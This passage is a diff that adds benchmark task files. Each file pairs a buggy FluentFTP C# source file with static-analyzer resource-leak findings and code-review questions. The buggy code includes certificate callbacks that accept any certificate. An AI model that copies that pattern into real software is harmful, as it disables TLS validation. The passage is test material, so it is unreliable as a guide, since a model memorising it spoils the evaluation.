+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2037/instruction.md b/inferredbugs-2037/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4ce4755f4caa4cf838f3eb5a92b80db2436cbe32
--- /dev/null
+++ b/inferredbugs-2037/instruction.md
@@ -0,0 +1,585 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FluentFTP
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using System.Net.Sockets;
+using System.Net.Security;
+using System.Security.Authentication;
+using System.Security.Cryptography.X509Certificates;
+using System.Net.FtpClient.Proxy;
+
+namespace System.Net.FtpClient {
+    /// <summary>
+    /// Stream for reading and writing FTP data channels
+    /// </summary>
+    public abstract class FtpDataStream : Stream, IDisposable {
+        FtpControlConnection _channel = null;
+        /// <summary>
+        /// Command channel this data stream is associated with
+        /// </summary>
+        public FtpControlConnection ControlConnection {
+            get { return _channel; }
+            protected set { _channel = value; }
+        }
+
+        bool _started = false;
+        /// <summary>
+        /// Gets a value indicating if the transfer has started.
+        /// </summary>
+        public bool TransferStarted {
+            get { return _started; }
+            private set { _started = value; }
+        }
+
+        DateTime _lastNoOp = DateTime.Now;
+        /// <summary>
+        /// Gets or sets the last time the NOOP command was
+        /// executed on the server
+        /// </summary>
+        protected DateTime LastNoOp {
+            get { return _lastNoOp; }
+            set { _lastNoOp = value; }
+        }
+
+		/// <summary>
+		/// Gets the receive buffer size of the underlying socket
+		/// </summary>
+		public int ReceiveBufferSize {
+			get {
+				if(this._socket != null) {
+					return this._socket.ReceiveBufferSize;
+				}
+
+				return 0;
+			}
+		}
+
+		/// <summary>
+		/// Gets the send buffer size of the underlying socket
+		/// </summary>
+		public int SendBufferSize {
+			get {
+				if(this._socket != null) {
+					return this._socket.SendBufferSize;
+				}
+
+				return 0;
+			}
+		}
+
+        Socket _socket = null;
+        /// <summary>
+        /// Socket used for communication
+        /// </summary>
+        protected Socket Socket {
+            get {
+                if (this._socket == null) {
+                    this._socket = new ProxySocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+                    (this._socket as ProxySocket).ProxyType = ProxyType.None;
+                    if (this.ControlConnection.ProxyType != ProxyType.None)
+                    {
+                        (this._socket as ProxySocket).ProxyType = this.ControlConnection.ProxyType;
+                        (this._socket as ProxySocket).ProxyEndPoint = new IPEndPoint(IPAddress.Parse(this.ControlConnection.ProxyHost), this.ControlConnection.ProxyPort);
+                        (this._socket as ProxySocket).ProxyUsername = this.ControlConnection.ProxyUsername;
+                        (this._socket as ProxySocket).ProxyPassword = this.ControlConnection.ProxyPassword;
+                    }
+                }
+
+                return this._socket;
+            }
+
+            set {
+                if (this._reader != null) {
+                    //this._reader.Dispose();
+                    this._reader = null;
+                }
+
+                if (this._sslstream != null) {
+                    this._sslstream.Dispose();
+                    this._sslstream = null;
+                }
+
+                if (this._netstream != null) {
+                    this._netstream.Dispose();
+                    this._netstream = null;
+                }
+
+                if (this._socket != null) {
+                    if (this._socket.Connected) {
+                        this._socket.Shutdown(SocketShutdown.Both);
+                        this._socket.Disconnect(false);
+                    }
+
+					// doesn't work in .net 2
+                    //this._socket.Dispose();
+                }
+
+                this._socket = value;
+            }
+        }
+
+        NetworkStream _netstream = null;
+        /// <summary>
+        /// Base unencrypted network stream
+        /// </summary>
+        private NetworkStream NetworkStream {
+            get {
+                if (this._netstream == null && this._socket != null) {
+                    this._netstream = new NetworkStream(this.Socket);
+                }
+
+                return this._netstream;
+            }
+
+            set {
+                this._netstream = value;
+            }
+        }
+
+        SslStream _sslstream = null;
+        /// <summary>
+        /// SSL Encrypted stream for ssl use
+        /// </summary>
+        private SslStream SecureStream {
+            get {
+                if (_sslstream == null && this.NetworkStream != null) {
+                    this._sslstream = new SslStream(this.NetworkStream, true,
+                        new RemoteCertificateValidationCallback(CheckCertificate));
+                }
+
+                return this._sslstream;
+            }
+        }
+
+        /// <summary>
+        /// Base stream
+        /// </summary>
+        private Stream BaseStream {
+            get {
+                if (this.ControlConnection.SslEnabled && this.ControlConnection.DataChannelEncryption) {
+                    if (!this.SslEnabled) {
+                        this.Authenticate();
+                    }
+
+                    return this.SecureStream;
+                }
+                else {
+                    return this.NetworkStream;
+                }
+            }
+        }
+
+        StreamReader _reader = null;
+        /// <summary>
+        /// Gets a stream reader object
+        /// </summary>
+        protected StreamReader StreamReader {
+            get {
+                if (_reader == null && this._netstream != null) {
+
+                    if (_channel.HasCapability(FtpCapability.UTF8)) {
+                        _reader = new StreamReader(this, System.Text.Encoding.UTF8);
+                    }
+                    else {
+                        _reader = new StreamReader(this, System.Text.Encoding.Default);
+                    }
+                }
+
+                return _reader;
+            }
+        }
+
+        long _length = 0;
+        /// <summary>
+        /// Gets the length of the stream
+        /// </summary>
+        public override long Length {
+            get { return _length; }
+        }
+
+        long _position = 0;
+        /// <summary>
+        /// Gets or sets the position in the stream. Once a transfer
+        /// has started, the position cannot be modified. If an attempt
+        /// is made an exception will be thrown.
+        /// </summary>
+        public override long Position {
+            get {
+                return this._position;
+            }
+            set {
+                if (this.TransferStarted) {
+                    throw new IOException("FTP stream seeking cannot be done after the transfer has started.");
+                }
+
+                this.Seek(value, SeekOrigin.Begin);
+            }
+        }
+
+        /// <summary>
+        /// Gets a value indicating if this stream is seekable. 
+        /// If you are doing a stream mode transfer and the transfer has not
+        /// yet started you can use seeking to resume your transfer.
+        /// </summary>
+        public override bool CanSeek {
+            get {
+                return this.TransferStarted ? false : true;
+            }
+        }
+
+        /// <summary>
+        /// Gets a value indicating if this stream can be read
+        /// </summary>
+        public override bool CanRead {
+            get { return this.BaseStream != null ? this.BaseStream.CanRead : false; }
+        }
+
+        /// <summary>
+        /// Gets a value indicating if this stream can be
+        /// written to.
+        /// </summary>
+        public override bool CanWrite {
+            get { return this.BaseStream != null ? this.BaseStream.CanWrite : false; }
+        }
+
+        /// <summary>
+        /// Gets a value indicating if encryption is in use
+        /// </summary>
+        public bool SslEnabled {
+            get {
+                if (this.Socket.Connected) {
+                    return this._sslstream != null && this._sslstream.IsEncrypted;
+                }
+
+                return false;
+            }
+        }
+
+        SslPolicyErrors _policyErrors = SslPolicyErrors.None;
+        /// <summary>
+        /// Gets the SSL errors if there were any
+        /// </summary>
+        public SslPolicyErrors SslPolicyErrors {
+            get { return _policyErrors; }
+            private set { _policyErrors = value; }
+        }
+
+        X509Certificate _sslCertificate = null;
+        /// <summary>
+        /// Gets the certificate associated with the current connection
+        /// </summary>
+        public X509Certificate SslCertificate {
+            get { return _sslCertificate; }
+            private set { _sslCertificate = value; }
+        }
+
+        /// <summary>
+        /// Checks if a certificate is valid
+        /// </summary>
+        /// <param name="sender"></param>
+        /// <param name="certificate"></param>
+        /// <param name="chain"></param>
+        /// <param name="sslPolicyErrors"></param>
+        /// <returns></returns>
+        bool CheckCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) {
+            this.SslPolicyErrors = sslPolicyErrors;
+            this.SslCertificate = certificate;
+            // we don't care if there are policy errors on
+            // this connection because if we're at the point
+            // that a data stream is being opened then it means
+            // the ssl certificate on the control connection
+            // was already accepted.
+            return true;
+        }
+
+        /// <summary>
+        /// Validates the SSL certificate if security is in use
+        /// </summary>
+        void Authenticate() {
+            if (this.Socket.Connected && !this.SslEnabled) {
+                //this.SecurteStream.AuthenticateAsClient(((IPEndPoint)this.RemoteEndPoint).Address.ToString());
+                this.SecureStream.AuthenticateAsClient(this.ControlConnection.Server);
+            }
+        }
+
+        /// <summary>
+        /// Writes bytes to the stream. If the transfer mode is block
+        /// a block header is encoded and sent with the data.
+        /// </summary>
+        /// <param name="buffer"></param>
+        /// <param name="offset"></param>
+        /// <param name="count"></param>
+        public override void Write(byte[] buffer, int offset, int count) {
+            if (!this.CanWrite) {
+                throw new IOException("This stream is not writeable!");
+            }
+
+            if (this.BaseStream == null) {
+                throw new IOException("The base stream is null. Has a socket connection been opened yet?");
+            }
+
+            // keep-alive hack
+            if (this.ControlConnection.KeepAliveInterval > 0 && DateTime.Now.Subtract(this.LastNoOp).Seconds >= this.ControlConnection.KeepAliveInterval) {
+                this.ControlConnection.Execute("NOOP");
+                this.LastNoOp = DateTime.Now;
+            }
+
+            this.BaseStream.Write(buffer, offset, count);
+            this._position += count;
+        }
+
+        /// <summary>
+        /// Read bytes off the data stream
+        /// </summary>
+        /// <param name="buffer"></param>
+        /// <param name="offset"></param>
+        /// <param name="count"></param>
+        /// <returns></returns>
+        public override int Read(byte[] buffer, int offset, int count) {
+            int read = 0;
+
+            if (!this.CanRead) {
+                throw new IOException("This stream is not readable!");
+            }
+
+            if (this.BaseStream == null) {
+                throw new IOException("The base stream is null. Has a socket connection been opened yet?");
+            }
+
+            read = this.BaseStream.Read(buffer, offset, count);
+            this._position += read;
+
+            // if EOF close stream
+            if (read == 0) {
+                this.Close();
+            }
+            else {
+                // keep-alive hack
+                if (this.ControlConnection.KeepAliveInterval > 0 && DateTime.Now.Subtract(this.LastNoOp).Seconds >= this.ControlConnection.KeepAliveInterval) {
+                    this.ControlConnection.Execute("NOOP");
+                    this.LastNoOp = DateTime.Now;
+                }
+            }
+
+            return read;
+        }
+
+        /// <summary>
+        /// Reads a line off the data stream
+        /// </summary>
+        /// <returns></returns>
+        public string ReadLine() {
+            string data = null;
+
+            if (!this.CanRead) {
+                throw new IOException("This stream is not readable!");
+            }
+
+            if (this.BaseStream == null) {
+                throw new IOException("The base stream is null. Has a socket connection been opened yet?");
+            }
+
+            data = this.StreamReader.ReadLine();
+            ControlConnection.WriteLineToLogStream("> " + data);
+
+            return data;
+        }
+
+        /// <summary>
+        /// Sets the length of the stream.
+        /// </summary>
+        /// <param name="value"></param>
+        public override void SetLength(long value) {
+            this._length = value;
+        }
+
+        /// <summary>
+        /// Seek the stream to the specified position
+        /// </summary>
+        /// <param name="offset"></param>
+        /// <returns></returns>
+        public long Seek(long offset) {
+            return this.Seek(offset, SeekOrigin.Begin);
+        }
+
+        /// <summary>
+        /// Uses the REST command to set the stream position in stream
+        /// mode transfers. If the transfer has started an exception
+        /// will be triggered because REST cannot be executed once data
+        /// has been exchanged.
+        /// </summary>
+        /// <param name="offset"></param>
+        /// <param name="origin"></param>
+        /// <returns></returns>
+        public override long Seek(long offset, SeekOrigin origin) {
+            /*if (!this.ControlConnection.HasCapability(FtpCapability.REST)) {
+                throw new IOException("The FTP server does not support stream seeking.");
+            }*/
+
+            if (this.TransferStarted) {
+                throw new IOException("FTP stream seeking cannot be done after the transfer has started.");
+            }
+
+            if (origin != SeekOrigin.Begin) {
+                throw new IOException("The only seek origin that is supported is SeekOrigin.Begin");
+            }
+
+            try {
+                this.ControlConnection.LockControlConnection();
+                if (!this.ControlConnection.Execute("REST {0}", offset)) {
+                    throw new FtpCommandException(this.ControlConnection);
+                }
+            }
+            finally {
+                this.ControlConnection.UnlockControlConnection();
+            }
+
+            this._position = offset;
+            return offset;
+        }
+
+        /// <summary>
+        /// Flushes the base stream
+        /// </summary>
+        public override void Flush() {
+            if (this.BaseStream == null) {
+                throw new IOException("The base stream is null. Has a socket connection been opened yet?");
+            }
+
+            this.BaseStream.Flush();
+        }
+
+        /// <summary>
+        /// Closes the base stream and reads the response
+        /// status of the transfer if necessary.
+        /// </summary>
+        public override void Close() {
+            if (this._socket != null) {
+                //this._socket = null;
+				this.Socket = null;
+
+                if (this.ControlConnection.Connected) {
+                    try {
+                        this.ControlConnection.LockControlConnection();
+                        
+                        if (this.ControlConnection.ResponseStatus && !this.ControlConnection.ReadResponse()) {
+                            throw new FtpCommandException(this.ControlConnection);
+                        }
+                    }
+                    finally {
+                        this.ControlConnection.UnlockControlConnection();
+                    }
+                }
+            }
+
+            this._length = 0;
+            this._position = 0;
+            this._started = false;
+            this.SslPolicyErrors = Security.SslPolicyErrors.None;
+        }
+
+        /// <summary>
+        /// Cleans up the resources this stream is using.
+        /// </summary>
+        public new void Dispose() {
+            this.Close();
+            base.Dispose();
+        }
+
+        /// <summary>
+        /// Opens the stream
+        /// </summary>
+        protected void Open() {
+            if (!this.Socket.Connected) {
+                this.Open(this.ControlConnection.DataChannelType);
+                this.TransferStarted = true;
+            }
+        }
+        
+        /// <summary>
+        /// Sets up sockets and executes necessary commands to initalize
+        /// a data transfer.
+        /// </summary>
+        /// <param name="type"></param>
+        protected abstract void Open(FtpDataChannelType type);
+
+        /// <summary>
+        /// Executes a command on the control channel
+        /// </summary>
+        /// <param name="command"></param>
+        /// <param name="args"></param>
+        /// <returns></returns>
+        public bool Execute(string command, params object[] args) {
+            return this.Execute(string.Format(command, args));
+        }
+
+        /// <summary>
+        /// Executes a command on the control channel
+        /// </summary>
+        /// <param name="command"></param>
+        /// <returns></returns>
+        public abstract bool Execute(string command);
+
+        /// <summary>
+        /// Stream for reading and writing to ftp data channels
+        /// </summary>
+        public FtpDataStream() { }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.IO.Stream System.Net.FtpClient.FtpDataStream::get_BaseStream() at Line 347) of type System.Net.Sockets.NetworkStream, Leaked resource (returned from System.IO.Stream System.Net.FtpClient.FtpDataStream::get_BaseStream() at Line 343) of type System.Net.Sockets.NetworkStream in method "Int32 FtpDataStream.Read(Byte[],Int32,Int32)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Int32 FtpDataStream.Read(Byte[],Int32,Int32)
+
+### File:
+FtpDataStream.cs
+
+### Key:
+FtpDataStream.cs|Read|DOTNET_RESOURCE_LEAK
+
+### Hash:
+92f79488cdf85cb1340ff648ab1b8561
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2038/instruction.md b/inferredbugs-2038/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2812733bafd6b37f0c2b67b8500c741f13033bf3
--- /dev/null
+++ b/inferredbugs-2038/instruction.md
@@ -0,0 +1,268 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FluentFTP
+**Bug ID:** 13
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Net;
+using System.Net.FtpClient;
+using System.Threading;
+using System.Collections.Generic;
+
+namespace Tests {
+    /// <summary>
+    /// Torture test
+    /// </summary>
+    class Program {
+        static readonly string m_host = "localhost";
+        static readonly string m_user = "ftptest";
+        static readonly string m_pass = "ftptest";
+
+        static void Main(string[] args) {
+            Debug.Listeners.Add(new ConsoleTraceListener());
+
+            try {
+                /*foreach (int i in new int[] {
+                    (int)FtpDataConnectionType.EPSV,
+                    (int)FtpDataConnectionType.EPRT,
+                    (int)FtpDataConnectionType.PASV,
+                    (int)FtpDataConnectionType.PORT
+                }) {
+                    using (FtpClient cl = Connect()) {
+                        cl.DataConnectionType = (FtpDataConnectionType)i;
+                        Upload(cl);
+                        Download(cl);
+                        Delete(cl);
+                    }
+                }*/
+                TestNameListing();
+            }
+            catch (Exception ex) {
+                Console.WriteLine(ex.ToString());
+            }
+
+            Console.WriteLine("--DONE--");
+            Console.ReadKey();
+        }
+
+        static void TestNameListing() {
+            using (FtpClient cl = new FtpClient()) {
+                cl.Credentials = new NetworkCredential(m_user, m_pass);
+                cl.Host = m_host;
+                cl.Connect();
+
+                foreach (string s in cl.GetNameListing()) {
+                    Console.WriteLine("{0} {1} {2}",
+                        cl.DirectoryExists(s) ? "Dir" : "File",
+                        cl.GetFileSize(s),
+                        cl.GetModifiedTime(s));
+                }
+            }
+        }
+
+        static FtpClient Connect() {
+            List<Thread> threads = new List<Thread>();
+            FtpClient cl = new FtpClient();
+
+            cl.ValidateCertificate += OnValidateCertificate;
+            //cl.EncryptionMode = FtpEncryptionMode.Explicit;
+
+            for (int i = 0; i < 10; i++) {
+                int count = i;
+
+                Thread t = new Thread(new ThreadStart(delegate() {
+                    cl.Credentials = new NetworkCredential(m_user, m_pass);
+                    cl.Host = m_host;
+                    cl.Connect();
+
+                    for (int j = 0; j < 10; j++)
+                        cl.Execute("NOOP");
+
+                    if (count % 2 == 0)
+                        cl.Disconnect();
+                }));
+
+                t.Start();
+                threads.Add(t);
+            }
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+                threads.RemoveAt(0);
+            }
+
+            return cl;
+        }
+
+        static void OnValidateCertificate(FtpClient control, FtpSslValidationEventArgs e) {
+            e.Accept = true;
+        }
+
+        static void Upload(FtpClient cl) {
+            string root = @"..\..\..";
+            List<Thread> threads = new List<Thread>();
+
+            foreach (string s in Directory.GetFiles(root, "*", SearchOption.AllDirectories)) {
+                string file = s;
+
+                Thread t = new Thread(new ThreadStart(delegate() {
+                    DoUpload(cl, root, file);
+                }));
+
+                t.Start();
+                threads.Add(t);
+            }
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+                threads.RemoveAt(0);
+            }
+        }
+
+        static void DoUpload(FtpClient cl, string root, string s) {
+            string path = Path.GetDirectoryName(s).Replace(root, "");
+            string name = Path.GetFileName(s);
+
+            if (!cl.DirectoryExists(path))
+                cl.CreateDirectory(path, true);
+            else if (cl.FileExists(string.Format("{0}/{1}", path, name)))
+                cl.DeleteFile(string.Format("{0}/{1}", path, name));
+
+            using (
+                Stream istream = new FileStream(s, FileMode.Open, FileAccess.Read),
+                        ostream = cl.OpenWrite(s.Replace(root, ""))) {
+                byte[] buf = new byte[8192];
+                int read = 0;
+
+                try {
+                    while ((read = istream.Read(buf, 0, buf.Length)) > 0) {
+                        ostream.Write(buf, 0, read);
+                    }
+                }
+                finally {
+                    ostream.Close();
+                    istream.Close();
+                }
+            }
+        }
+
+        static void Download(FtpClient cl) {
+            List<Thread> threads = new List<Thread>();
+
+            Download(threads, cl, "/");
+
+            while (threads.Count > 0) {
+                threads[0].Join();
+
+                lock (threads) {
+                    threads.RemoveAt(0);
+                }
+            }
+        }
+
+        static void Download(List<Thread> threads, FtpClient cl, string path) {
+            foreach (FtpListItem item in cl.GetListing(path)) {
+                if (item.Type == FtpFileSystemObjectType.Directory)
+                    Download(threads, cl, item.FullName);
+                else if (item.Type == FtpFileSystemObjectType.File) {
+                    string file = item.FullName;
+
+                    Thread t = new Thread(new ThreadStart(delegate() {
+                        DoDownload(cl, file);
+                    }));
+
+                    t.Start();
+
+                    lock (threads) {
+                        threads.Add(t);
+                    }
+                }
+            }
+        }
+
+        static void DoDownload(FtpClient cl, string file) {
+            using (Stream s = cl.OpenRead(file)) {
+                byte[] buf = new byte[8192];
+
+                try {
+                    while (s.Read(buf, 0, buf.Length) > 0) ;
+                }
+                finally {
+                    s.Close();
+                }
+            }
+        }
+
+        static void Delete(FtpClient cl) {
+            DeleteDirectory(cl, "/");
+        }
+
+        static void DeleteDirectory(FtpClient cl, string path) {
+            foreach (FtpListItem item in cl.GetListing(path)) {
+                if (item.Type == FtpFileSystemObjectType.File) {
+                    cl.DeleteFile(item.FullName);
+                }
+                else if (item.Type == FtpFileSystemObjectType.Directory) {
+                    DeleteDirectory(cl, item.FullName);
+                    cl.DeleteDirectory(item.FullName);
+                }
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.Diagnostics.ConsoleTraceListener::.ctor() at Line 19) of type System.Diagnostics.ConsoleTraceListener in method "Void Program.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main(String[])
+
+### File:
+Tests/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+31aff70e4fa9adc665684bb9eb21a852
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2039/instruction.md b/inferredbugs-2039/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..62227eda1ba58dd010561d831ac00dec3e486cc8
--- /dev/null
+++ b/inferredbugs-2039/instruction.md
@@ -0,0 +1,620 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FluentFTP
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using System.Net.Sockets;
+using System.Net.Security;
+using System.Security.Authentication;
+using System.Security.Cryptography.X509Certificates;
+using System.Net.FtpClient.Proxy;
+
+namespace System.Net.FtpClient {
+    /// <summary>
+    /// Stream for reading and writing FTP data channels
+    /// </summary>
+    public abstract class FtpDataStream : Stream, IDisposable {
+        FtpControlConnection _channel = null;
+        /// <summary>
+        /// Command channel this data stream is associated with
+        /// </summary>
+        public FtpControlConnection ControlConnection {
+            get { return _channel; }
+            protected set { _channel = value; }
+        }
+
+        bool _started = false;
+        /// <summary>
+        /// Gets a value indicating if the transfer has started.
+        /// </summary>
+        public bool TransferStarted {
+            get { return _started; }
+            private set { _started = value; }
+        }
+
+        DateTime _lastNoOp = DateTime.Now;
+        /// <summary>
+        /// Gets or sets the last time the NOOP command was
+        /// executed on the server
+        /// </summary>
+        protected DateTime LastNoOp {
+            get { return _lastNoOp; }
+            set { _lastNoOp = value; }
+        }
+
+        /// <summary>
+        /// Gets the receive buffer size of the underlying socket
+        /// </summary>
+        public int ReceiveBufferSize {
+            get {
+                if (this._socket != null) {
+                    return this._socket.ReceiveBufferSize;
+                }
+
+                return 0;
+            }
+        }
+
+        /// <summary>
+        /// Gets the send buffer size of the underlying socket
+        /// </summary>
+        public int SendBufferSize {
+            get {
+                if (this._socket != null) {
+                    return this._socket.SendBufferSize;
+                }
+
+                return 0;
+            }
+        }
+
+        Socket _socket = null;
+        /// <summary>
+        /// Socket used for communication
+        /// </summary>
+        protected Socket Socket {
+            get {
+                if (this._socket == null) {
+                    this._socket = new ProxySocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+                    (this._socket as ProxySocket).ProxyType = ProxyType.None;
+                    if (this.ControlConnection.ProxyType != ProxyType.None) {
+                        (this._socket as ProxySocket).ProxyType = this.ControlConnection.ProxyType;
+                        (this._socket as ProxySocket).ProxyEndPoint = new IPEndPoint(IPAddress.Parse(this.ControlConnection.ProxyHost), this.ControlConnection.ProxyPort);
+                        (this._socket as ProxySocket).ProxyUsername = this.ControlConnection.ProxyUsername;
+                        (this._socket as ProxySocket).ProxyPassword = this.ControlConnection.ProxyPassword;
+                    }
+                }
+
+                return this._socket;
+            }
+
+            set {
+                if (this._reader != null) {
+                    //this._reader.Dispose();
+                    this._reader = null;
+                }
+
+                if (this._sslstream != null) {
+                    this._sslstream.Dispose();
+                    this._sslstream = null;
+                }
+
+                if (this._netstream != null) {
+                    this._netstream.Dispose();
+                    this._netstream = null;
+                }
+
+                if (this._socket != null) {
+                    if (this._socket.Connected) {
+                        this._socket.Shutdown(SocketShutdown.Both);
+                        this._socket.Disconnect(false);
+                    }
+
+                    // doesn't work in .net 2
+                    //this._socket.Dispose();
+                }
+
+                this._socket = value;
+            }
+        }
+
+        NetworkStream _netstream = null;
+        /// <summary>
+        /// Base unencrypted network stream
+        /// </summary>
+        private NetworkStream NetworkStream {
+            get {
+                if (this._netstream == null && this._socket != null) {
+                    this._netstream = new NetworkStream(this.Socket);
+                }
+
+                return this._netstream;
+            }
+
+            set {
+                this._netstream = value;
+            }
+        }
+
+        SslStream _sslstream = null;
+        /// <summary>
+        /// SSL Encrypted stream for ssl use
+        /// </summary>
+        private SslStream SecureStream {
+            get {
+                if (_sslstream == null && this.NetworkStream != null) {
+                    this._sslstream = new SslStream(this.NetworkStream, true,
+                        new RemoteCertificateValidationCallback(CheckCertificate));
+                }
+
+                return this._sslstream;
+            }
+        }
+
+        /// <summary>
+        /// Base stream
+        /// </summary>
+        private Stream BaseStream {
+            get {
+                if (this.ControlConnection.SslEnabled && this.ControlConnection.DataChannelEncryption) {
+                    if (!this.SslEnabled) {
+                        this.Authenticate();
+                    }
+
+                    return this.SecureStream;
+                }
+                else {
+                    return this.NetworkStream;
+                }
+            }
+        }
+
+        StreamReader _reader = null;
+        /// <summary>
+        /// Gets a stream reader object
+        /// </summary>
+        protected StreamReader StreamReader {
+            get {
+                if (_reader == null && this._netstream != null) {
+
+                    if (_channel.HasCapability(FtpCapability.UTF8)) {
+                        _reader = new StreamReader(this, System.Text.Encoding.UTF8);
+                    }
+                    else {
+                        _reader = new StreamReader(this, System.Text.Encoding.Default);
+                    }
+                }
+
+                return _reader;
+            }
+        }
+
+        int _readTimeout = -1;
+        /// <summary>
+        /// Gets or sets the length of time in miliseconds that this stream will
+        /// attempt to read from the underlying socket before giving up. The default
+        /// value of -1 means wait indefinitely.
+        /// </summary>
+        public override int ReadTimeout {
+            get {
+                return this._readTimeout;
+            }
+            set {
+                this._readTimeout = value;
+            }
+        }
+
+        long _length = 0;
+        /// <summary>
+        /// Gets the length of the stream
+        /// </summary>
+        public override long Length {
+            get { return _length; }
+        }
+
+        long _position = 0;
+        /// <summary>
+        /// Gets or sets the position in the stream. Once a transfer
+        /// has started, the position cannot be modified. If an attempt
+        /// is made an exception will be thrown.
+        /// </summary>
+        public override long Position {
+            get {
+                return this._position;
+            }
+            set {
+                if (this.TransferStarted) {
+                    throw new IOException("FTP stream seeking cannot be done after the transfer has started.");
+                }
+
+                this.Seek(value, SeekOrigin.Begin);
+            }
+        }
+
+        /// <summary>
+        /// Gets a value indicating if this stream is seekable. 
+        /// If you are doing a stream mode transfer and the transfer has not
+        /// yet started you can use seeking to resume your transfer.
+        /// </summary>
+        public override bool CanSeek {
+            get {
+                return this.TransferStarted ? false : true;
+            }
+        }
+
+        /// <summary>
+        /// Gets a value indicating if this stream can be read
+        /// </summary>
+        public override bool CanRead {
+            get { return this.BaseStream != null ? this.BaseStream.CanRead : false; }
+        }
+
+        /// <summary>
+        /// Gets a value indicating if this stream can be
+        /// written to.
+        /// </summary>
+        public override bool CanWrite {
+            get { return this.BaseStream != null ? this.BaseStream.CanWrite : false; }
+        }
+
+        /// <summary>
+        /// Gets a value indicating if encryption is in use
+        /// </summary>
+        public bool SslEnabled {
+            get {
+                if (this.Socket.Connected) {
+                    return this._sslstream != null && this._sslstream.IsEncrypted;
+                }
+
+                return false;
+            }
+        }
+
+        SslPolicyErrors _policyErrors = SslPolicyErrors.None;
+        /// <summary>
+        /// Gets the SSL errors if there were any
+        /// </summary>
+        public SslPolicyErrors SslPolicyErrors {
+            get { return _policyErrors; }
+            private set { _policyErrors = value; }
+        }
+
+        X509Certificate _sslCertificate = null;
+        /// <summary>
+        /// Gets the certificate associated with the current connection
+        /// </summary>
+        public X509Certificate SslCertificate {
+            get { return _sslCertificate; }
+            private set { _sslCertificate = value; }
+        }
+
+        /// <summary>
+        /// Checks if a certificate is valid
+        /// </summary>
+        /// <param name="sender"></param>
+        /// <param name="certificate"></param>
+        /// <param name="chain"></param>
+        /// <param name="sslPolicyErrors"></param>
+        /// <returns></returns>
+        bool CheckCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) {
+            this.SslPolicyErrors = sslPolicyErrors;
+            this.SslCertificate = certificate;
+            // we don't care if there are policy errors on
+            // this connection because if we're at the point
+            // that a data stream is being opened then it means
+            // the ssl certificate on the control connection
+            // was already accepted.
+            return true;
+        }
+
+        /// <summary>
+        /// Validates the SSL certificate if security is in use
+        /// </summary>
+        void Authenticate() {
+            if (this.Socket.Connected && !this.SslEnabled) {
+                //this.SecurteStream.AuthenticateAsClient(((IPEndPoint)this.RemoteEndPoint).Address.ToString());
+                this.SecureStream.AuthenticateAsClient(this.ControlConnection.Server);
+            }
+        }
+
+        /// <summary>
+        /// Writes bytes to the stream. If the transfer mode is block
+        /// a block header is encoded and sent with the data.
+        /// </summary>
+        /// <param name="buffer"></param>
+        /// <param name="offset"></param>
+        /// <param name="count"></param>
+        public override void Write(byte[] buffer, int offset, int count) {
+            if (!this.CanWrite) {
+                throw new IOException("This stream is not writeable!");
+            }
+
+            if (this.BaseStream == null) {
+                throw new IOException("The base stream is null. Has a socket connection been opened yet?");
+            }
+
+            // keep-alive hack
+            if (this.ControlConnection.KeepAliveInterval > 0 && DateTime.Now.Subtract(this.LastNoOp).Seconds >= this.ControlConnection.KeepAliveInterval) {
+                this.ControlConnection.Execute("NOOP");
+                this.LastNoOp = DateTime.Now;
+            }
+
+            this.BaseStream.Write(buffer, offset, count);
+            this._position += count;
+        }
+
+        /// <summary>
+        /// Read bytes off the data stream
+        /// </summary>
